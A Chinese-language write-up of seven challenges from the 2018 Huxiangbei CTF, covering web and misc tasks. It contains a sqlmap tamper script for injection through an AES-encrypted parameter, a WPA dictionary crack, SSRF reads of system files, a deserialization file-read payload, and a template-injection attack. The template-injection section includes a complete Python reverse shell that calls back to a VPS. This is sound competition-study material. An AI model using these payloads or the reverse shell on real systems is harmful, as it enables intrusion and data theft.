2018湖湘杯web、misc记录

1.题目名 Code Check

打开题目，右键发现有id参数的url,简单base64解码以后发现不是明文，说明利用了其他的加密方式，那么应该会有具体的加密方式给我们，于是试试常见的文件泄露，可以发现list.zip，打开发现是具体的解密逻辑与查询逻辑。

有了解密逻辑我们就可以逆着写出加密逻辑，另外id参数明显存在注入，只需要写一个加密的sqlmap的tamper脚本，然后放到sqlmap的tamper目录下就可以了，之后在sqlmap里跑一跑就可以出flag

下面是改过的tamper脚本

#!/usr/bin/env python

"""

Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)

See the file 'LICENSE' for copying permission

"""

import base64

from Crypto.Cipher import AES

from lib.core.enums import PRIORITY

from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST

def dependencies():

    pass

def encrypt(text):

    padding = '\0'

    key = 'ydhaqPQnexoaDuW3'

    iv = ''

    pad_it = lambda s: s+(16 - len(s)%16)*padding

    cipher = AES.new(key, AES.MODE_CBC, iv)

    text = text + 'hxb2018'

    return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text))))

def tamper(payload, **kwargs):

         return encrypt(payload)

2.题目名 Flow

题目是个流量包，802.11的，数据包是加密的，所以尝试一下能不能爆破出来key来解密一下上层的其他数据包来找flag，一般做无线的题目需要用到aircrack-ng这个无线破解工具。

首先需要一个弱密码的字典，然后运行 aircrack-ng -w 字典名 + 流量包，运气比较好刚好爆破出来了key为password1

有了key就能导入到wireshark里面对wpa加密的无线数据包进行解密

解密之后在导出http对象中发现flag

3.题目名 readflag

ssrf的题目，首先读了下/etc/passwd没有什么有用的东西，所以继续读一下/etc/hosts发现内网里面有两台主机

经过简单测试，发现题目的内网主机号为230，另一台内网机器的主机号是183，所以尝试读一下另一个机器上的文件,首先读一下apache的配置文件，发现如下路径树

又因为http的网站在站点的配置文件下有默认的000-default.conf，所以尝试访问如下：

发现了web的源码路径，直接读取

发现路径/var/www/html/ssrf/readflag，尝试访问是个elf，一堆乱码，所以用wget下载这个elf，然后ida里面加载一下发现如下：

所以更改一下路径，读取如下，得到flag

4.题目名 mynote

这是一道反序列化的题目，在我们注册登陆以后，在抓包中发现picture参数有问题，base64解码发现其为序列化的数据，所以猜测是否其存在反序列化漏洞，我们上传一个jpg文件

又因为后端会访问我们上传的图片并会返回到前端，所以尝试是否可以读取任意文件，上传1.jpg以后，抓包并且改为payload为a:1:{i:0;s:14:”../../flag.php”;}，然后放包如下图所示，可以看到一串base64编码

解密后就能看到flag如上图所示

5. 管理员的flag在哪里?

注册登陆后，在添加标题那里刚开始选择“是”这个选项，以为是xss，但是没效果，于是选择“否”，添加标题后发现有show页面，尝试了一下模板注入的payload

返回了9说明的确存在模板注入，于是尝试是否可以执行命令

构造payload如下：

返回的值证明可以执行命令，又继续尝试了一下curl和wget 都能使用，所以尝试反弹一下shell试试，在vps上监听一下端口，使用exp下载vps上的shell.py文件并执行，构造以下payload：

shell如下：

#!/usr/bin/env python

#coding:utf-8

import os

import pty

import socket

lhost = "xx.xx.xx.xx" #vps的ip地址

lport = 21192 #vps的端口

def main():

    s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    s.connect((lhost,lport))

    os.dup2(s.fileno(),0)

    os.dup2(s.fileno(),1)

    os.dup2(s.fileno(),2)

    pty.spawn('/bin/bash')

    s.close()

main()

分别show以上的两条payload以后就能够拿到shell，在Xme0目录下存在auto.js 查看它如下图所示得到flag

6.disk

下载一个是一个vmdk文件，首先看看能不能提取出来啥东西，这里需要用到7z

提取出来里面有四个flag文件，但是打开并不是flag，队友说可能跟NTFS隐藏数据流有关系，所以百度一波，在网上找到如下工具

能够检测出隐藏在文件中的NTFS数据流，搜索一下果然找到了可疑的数据流

百度到ads原来是可以隐藏后门的，于是分别打开四个flag文件

打开flag1.txt后是一段二进制，在线将其转化为字符串试试

发现是flag，所以继续转换后面的三个文件中的二进制文件并转换就可以得到flag

7.Hidden Write

首先拿到图片先binwalk一下，发现什么都没有

然后strings一下图片

结尾发现flag的一部分字符串78cd89c18c

肯定在别的地方还有flag的其他部分，所以用16进制编辑器看看图片，发现其有三个图片其中两张图片没有头部的前8个字节，所以把两张图片抠出来加上头部，就变成3张图片了

此时掏出stegsolve来给三张图片用一用，在第二张图中发现了bgr通道的lsb隐写

hxb2018{1e30f3b836d78d25c ，由此得到了flag的另一个部分，此时明显还少最后一个部分，此时有三张图片当然想到用盲水印，以前在比赛中遇到过，所以用下图所示的工具试试：

由于有3张图片所以需要两两结合来花费3次来尝试

由此得到flag的最后一段为20b4a}

最后拼接得到flag：

hxb2018{1e30f3b836d78d25c78cd89c18c20b4a}